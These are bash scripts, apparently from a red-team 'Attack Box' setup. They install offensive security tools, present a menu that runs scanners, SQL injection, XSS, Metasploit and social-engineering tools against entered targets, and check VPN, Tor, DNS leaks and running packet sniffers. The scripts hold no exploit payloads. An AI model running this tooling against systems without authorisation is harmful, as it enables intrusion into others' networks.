|
||||
echo "Repository: $repo"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if [ -d "$name" ]; then
|
||||
echo "Repository $name already exists, updating..."
|
||||
cd "$name"
|
||||
if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name updated successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name update failed"
|
||||
fi
|
||||
cd ..
|
||||
else
|
||||
if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
|
||||
if [ -d "$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name cloned successfully"
|
||||
echo "Size: $(du -sh "$name" | cut -f1)"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name directory not found after clone"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name clone failed or timed out"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) repositories"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GIT REPOSITORIES CLONING SUMMARY:"
|
||||
echo "================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Cloned repositories:"
|
||||
ls -la "$OPERATOR_DIR/tools/git/" | head -20
|
||||
|
||||
exit 0
|
||||
Executable
+104
@@ -0,0 +1,104 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Go Tools Installation Script
|
||||
# Installs security tools via go install with enhanced feedback
|
||||
|
||||
# Get OPERATOR_DIR from environment or use default
|
||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||
|
||||
export GOPATH="$OPERATOR_DIR/tools/go"
|
||||
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
||||
mkdir -p "$GOPATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GO TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Installing Go tools to $GOPATH/bin..."
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
GO_TOOLS=(
|
||||
"github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
|
||||
"github.com/projectdiscovery/httpx/cmd/httpx@latest"
|
||||
"github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
|
||||
"github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
|
||||
"github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
|
||||
"github.com/projectdiscovery/katana/cmd/katana@latest"
|
||||
"github.com/tomnomnom/waybackurls@latest"
|
||||
"github.com/tomnomnom/assetfinder@latest"
|
||||
"github.com/tomnomnom/httprobe@latest"
|
||||
"github.com/tomnomnom/gf@latest"
|
||||
"github.com/lc/gau/v2/cmd/gau@latest"
|
||||
"github.com/hakluke/hakrawler@latest"
|
||||
"github.com/ropnop/kerbrute@latest"
|
||||
)
|
||||
|
||||
TOOL_NAMES=(
|
||||
"subfinder"
|
||||
"httpx"
|
||||
"nuclei"
|
||||
"naabu"
|
||||
"dnsx"
|
||||
"katana"
|
||||
"waybackurls"
|
||||
"assetfinder"
|
||||
"httprobe"
|
||||
"gf"
|
||||
"gau"
|
||||
"hakrawler"
|
||||
"kerbrute"
|
||||
)
|
||||
|
||||
TOTAL=${#GO_TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for i in "${!GO_TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
tool="${GO_TOOLS[$i]}"
|
||||
name="${TOOL_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $name..."
|
||||
echo "Repository: $tool"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
echo "Working directory: $GOPATH"
|
||||
|
||||
if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
|
||||
if [ -f "$GOPATH/bin/$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name installed successfully at $GOPATH/bin/$name"
|
||||
ls -la "$GOPATH/bin/$name"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name binary not found after installation"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GO TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=============================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed Go tools:"
|
||||
ls -la "$GOPATH/bin/" || echo "No Go tools installed"
|
||||
echo ""
|
||||
echo "Go environment:"
|
||||
echo "GOPATH: $GOPATH"
|
||||
echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
|
||||
echo "Go executable: $(which go || echo 'Go not in PATH')"
|
||||
|
||||
exit 0
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Python Tools Installation Script
|
||||
# Installs security tools via pipx with enhanced feedback
|
||||
|
||||
export PATH="/root/.local/bin:$PATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "PYTHON TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Total tools to install: 29"
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
TOOLS=(
|
||||
"impacket"
|
||||
"bloodhound"
|
||||
"crackmapexec"
|
||||
"netexec"
|
||||
"droopescan"
|
||||
"wpscan"
|
||||
"arjun"
|
||||
"subjack"
|
||||
"sublist3r"
|
||||
"theharvester"
|
||||
"feroxbuster"
|
||||
"dirsearch"
|
||||
"sqlmap"
|
||||
"wafw00f"
|
||||
"dnsrecon"
|
||||
"dnsgen"
|
||||
"massdns"
|
||||
"altdns"
|
||||
"paramspider"
|
||||
"linkfinder"
|
||||
"xsstrike"
|
||||
"scapy"
|
||||
"pwntools"
|
||||
"volatility3"
|
||||
"ldapdomaindump"
|
||||
"ldap3"
|
||||
"responder"
|
||||
"mitm6"
|
||||
"enum4linux-ng"
|
||||
"smbmap"
|
||||
)
|
||||
|
||||
TOTAL=${#TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for tool in "${TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $tool..."
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if timeout 300 pipx install --verbose "$tool" 2>&1; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $tool installed successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $tool installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "PYTHON TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed pipx tools:"
|
||||
pipx list
|
||||
|
||||
exit 0
|
||||
+392
@@ -0,0 +1,392 @@
|
||||
#!/bin/bash
|
||||
# Manual Testing Menu for Attack Box
|
||||
# Interactive interface for manual penetration testing tasks
|
||||
|
||||
set -e
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# ASCII Banner
|
||||
show_banner() {
|
||||
echo -e "${CYAN}"
|
||||
cat << "EOF"
|
||||
╔═══════════════════════════════════════╗
|
||||
║ ATTACK BOX MENU ║
|
||||
║ Manual Testing Interface ║
|
||||
╚═══════════════════════════════════════╝
|
||||
EOF
|
||||
echo -e "${NC}"
|
||||
}
|
||||
|
||||
# Main menu
|
||||
show_main_menu() {
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Target Reconnaissance"
|
||||
echo -e "${BLUE}2.${NC} Network Scanning"
|
||||
echo -e "${BLUE}3.${NC} Web Application Testing"
|
||||
echo -e "${BLUE}4.${NC} Vulnerability Assessment"
|
||||
echo -e "${BLUE}5.${NC} Exploitation Framework"
|
||||
echo -e "${BLUE}6.${NC} Post-Exploitation"
|
||||
echo -e "${BLUE}7.${NC} Password Attacks"
|
||||
echo -e "${BLUE}8.${NC} Wireless Testing"
|
||||
echo -e "${BLUE}9.${NC} Social Engineering"
|
||||
echo -e "${BLUE}10.${NC} OSINT Tools"
|
||||
echo -e "${BLUE}11.${NC} Custom Scripts"
|
||||
echo -e "${BLUE}12.${NC} Tool Status & Updates"
|
||||
echo -e "${BLUE}13.${NC} Generate Reports"
|
||||
echo -e "${BLUE}0.${NC} Exit"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
|
||||
}
|
||||
|
||||
# Reconnaissance menu
|
||||
recon_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Reconnaissance Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)"
|
||||
echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)"
|
||||
echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)"
|
||||
echo -e "${BLUE}4.${NC} WHOIS Lookup"
|
||||
echo -e "${BLUE}5.${NC} Shodan Search"
|
||||
echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)"
|
||||
echo -e "${BLUE}7.${NC} Certificate Transparency"
|
||||
echo -e "${BLUE}8.${NC} Automated Recon Script"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) domain_enum ;;
|
||||
2) subdomain_discovery ;;
|
||||
3) dns_enum ;;
|
||||
4) whois_lookup ;;
|
||||
5) shodan_search ;;
|
||||
6) google_dorking ;;
|
||||
7) cert_transparency ;;
|
||||
8) automated_recon ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Network scanning menu
|
||||
network_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Network Scanning Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nmap Host Discovery"
|
||||
echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)"
|
||||
echo -e "${BLUE}3.${NC} Nmap Full Port Scan"
|
||||
echo -e "${BLUE}4.${NC} Nmap Service Detection"
|
||||
echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts"
|
||||
echo -e "${BLUE}6.${NC} Masscan Fast Scan"
|
||||
echo -e "${BLUE}7.${NC} Automated Port Scan Script"
|
||||
echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nmap_discovery ;;
|
||||
2) nmap_port_scan ;;
|
||||
3) nmap_full_scan ;;
|
||||
4) nmap_service_detection ;;
|
||||
5) nmap_vuln_scripts ;;
|
||||
6) masscan_scan ;;
|
||||
7) automated_port_scan ;;
|
||||
8) network_discovery ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Web application testing menu
|
||||
web_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Web Application Testing Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)"
|
||||
echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)"
|
||||
echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)"
|
||||
echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)"
|
||||
echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)"
|
||||
echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)"
|
||||
echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)"
|
||||
echo -e "${BLUE}8.${NC} Automated Web Enum Script"
|
||||
echo -e "${BLUE}9.${NC} Launch Burp Suite"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) directory_enum ;;
|
||||
2) tech_detection ;;
|
||||
3) web_vuln_scan ;;
|
||||
4) web_crawler ;;
|
||||
5) param_discovery ;;
|
||||
6) sql_injection ;;
|
||||
7) xss_testing ;;
|
||||
8) automated_web_enum ;;
|
||||
9) launch_burp ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Vulnerability assessment menu
|
||||
vuln_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Vulnerability Assessment Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nuclei Scanner"
|
||||
echo -e "${BLUE}2.${NC} OpenVAS Scan"
|
||||
echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)"
|
||||
echo -e "${BLUE}4.${NC} CVE Search"
|
||||
echo -e "${BLUE}5.${NC} Vulnerability Database Lookup"
|
||||
echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nuclei_scan ;;
|
||||
2) openvas_scan ;;
|
||||
3) searchsploit_search ;;
|
||||
4) cve_search ;;
|
||||
5) vuln_db_lookup ;;
|
||||
6) custom_vuln_scripts ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Functions for each tool category
|
||||
domain_enum() {
|
||||
echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
|
||||
theHarvester -d "$domain" -b all -l 500
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
subdomain_discovery() {
|
||||
echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running Subfinder...${NC}"
|
||||
subfinder -d "$domain" -o "subdomains_$domain.txt"
|
||||
echo -e "${GREEN}[+] Running Amass...${NC}"
|
||||
amass enum -d "$domain" -o "amass_$domain.txt"
|
||||
echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
nmap_port_scan() {
|
||||
echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Scanning $target...${NC}"
|
||||
nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
|
||||
echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
directory_enum() {
|
||||
echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
|
||||
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
automated_recon() {
|
||||
echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
|
||||
echo -ne "Enter target domain/IP: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/recon_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
automated_port_scan() {
|
||||
echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/port_scan_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
automated_web_enum() {
|
||||
echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/web_enum_automation.sh "$url"
|
||||
else
|
||||
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
# Tool status and updates
|
||||
tool_status() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Tool Status & Updates ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
# Check key tools
|
||||
tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
|
||||
|
||||
for tool in "${tools[@]}"; do
|
||||
if command -v "$tool" &> /dev/null; then
|
||||
echo -e "${GREEN}[✓]${NC} $tool - Installed"
|
||||
else
|
||||
echo -e "${RED}[✗]${NC} $tool - Not Found"
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Generate reports
|
||||
generate_reports() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Generate Reports ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
WORKSPACE="/root/operator"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
||||
|
||||
mkdir -p "$REPORT_DIR"
|
||||
|
||||
echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
|
||||
|
||||
# Collect all scan results
|
||||
find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
|
||||
# Create summary report
|
||||
cat > "$REPORT_DIR/summary_report.md" << EOF
|
||||
# Manual Testing Report
|
||||
**Generated:** $(date)
|
||||
**Operator:** $(whoami)
|
||||
|
||||
## Engagement Summary
|
||||
This report contains results from manual penetration testing activities.
|
||||
|
||||
## Files Included
|
||||
$(ls -la "$REPORT_DIR" | grep -v "^total")
|
||||
|
||||
## Key Findings
|
||||
- Review individual tool outputs for detailed findings
|
||||
- Cross-reference results across multiple tools
|
||||
- Validate findings manually before reporting
|
||||
|
||||
## Next Steps
|
||||
1. Analyze all collected data
|
||||
2. Prioritize findings by severity
|
||||
3. Prepare client deliverables
|
||||
4. Archive results securely
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Main execution loop
|
||||
main() {
|
||||
while true; do
|
||||
clear
|
||||
show_banner
|
||||
show_main_menu
|
||||
read -r choice
|
||||
|
||||
case $choice in
|
||||
1) recon_menu ;;
|
||||
2) network_menu ;;
|
||||
3) web_menu ;;
|
||||
4) vuln_menu ;;
|
||||
5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
|
||||
6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
|
||||
7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
|
||||
8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
|
||||
9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
|
||||
10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
|
||||
11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
|
||||
12) tool_status ;;
|
||||
13) generate_reports ;;
|
||||
0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
|
||||
*) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# Check if running as root
|
||||
if [[ $EUID -eq 0 ]]; then
|
||||
echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
|
||||
sleep 2
|
||||
fi
|
||||
|
||||
# Create operator structure if it doesn't exist
|
||||
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
||||
|
||||
# Start the main menu
|
||||
main
|
||||
Executable
+118
@@ -0,0 +1,118 @@
|
||||
#!/bin/bash
|
||||
# OPSEC Status Check Script
|
||||
# Monitors operational security status for red team operations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Check VPN Status
|
||||
echo -e "${BLUE}[*] VPN Status:${NC}"
|
||||
if pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ OpenVPN is running${NC}"
|
||||
VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
|
||||
if [ ! -z "$VPN_INTERFACES" ]; then
|
||||
echo -e "${GREEN} ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED} ✗ OpenVPN not detected${NC}"
|
||||
fi
|
||||
|
||||
# Check Tor Status
|
||||
echo -e "\n${BLUE}[*] Tor Status:${NC}"
|
||||
if systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ Tor service is active${NC}"
|
||||
if netstat -tuln 2>/dev/null | grep -q ":9050"; then
|
||||
echo -e "${GREEN} ✓ SOCKS proxy listening on 9050${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - Tor service not active${NC}"
|
||||
fi
|
||||
|
||||
# Check External IP
|
||||
echo -e "\n${BLUE}[*] External IP Check:${NC}"
|
||||
EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
|
||||
if [ ! -z "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ External IP: $EXTERNAL_IP${NC}"
|
||||
else
|
||||
echo -e "${RED} ✗ Could not determine external IP${NC}"
|
||||
fi
|
||||
|
||||
# Check DNS
|
||||
echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
|
||||
DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
|
||||
echo -e "${GREEN} ✓ DNS servers: $DNS_SERVERS${NC}"
|
||||
|
||||
# Check for DNS leaks
|
||||
echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
|
||||
DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
|
||||
if [ ! -z "$DNS_LEAK" ]; then
|
||||
if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ No DNS leak detected${NC}"
|
||||
else
|
||||
echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - DNS leak test failed${NC}"
|
||||
fi
|
||||
|
||||
# Check Active Connections
|
||||
echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
|
||||
ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
|
||||
echo -e "${GREEN} ✓ $ACTIVE_CONS active connections${NC}"
|
||||
|
||||
# Check Suspicious Processes
|
||||
echo -e "\n${BLUE}[*] Process Security Check:${NC}"
|
||||
SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
|
||||
if [ $SUSPICIOUS_PROCS -gt 0 ]; then
|
||||
echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
|
||||
else
|
||||
echo -e "${GREEN} ✓ No obvious monitoring processes${NC}"
|
||||
fi
|
||||
|
||||
# Check SSH Keys
|
||||
echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
|
||||
SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
|
||||
echo -e "${GREEN} ✓ $SSH_KEYS SSH public keys found${NC}"
|
||||
|
||||
# Check System Logs
|
||||
echo -e "\n${BLUE}[*] Log Security:${NC}"
|
||||
AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
|
||||
if [ ! -z "$AUTH_LOG_SIZE" ]; then
|
||||
echo -e "${GREEN} ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
|
||||
fi
|
||||
|
||||
# Check Firewall Status
|
||||
echo -e "\n${BLUE}[*] Firewall Status:${NC}"
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
UFW_STATUS=$(ufw status 2>/dev/null | head -1)
|
||||
echo -e "${GREEN} ✓ UFW: $UFW_STATUS${NC}"
|
||||
fi
|
||||
|
||||
if command -v iptables >/dev/null 2>&1; then
|
||||
IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
|
||||
echo -e "${GREEN} ✓ iptables: $IPTABLES_RULES chains configured${NC}"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
|
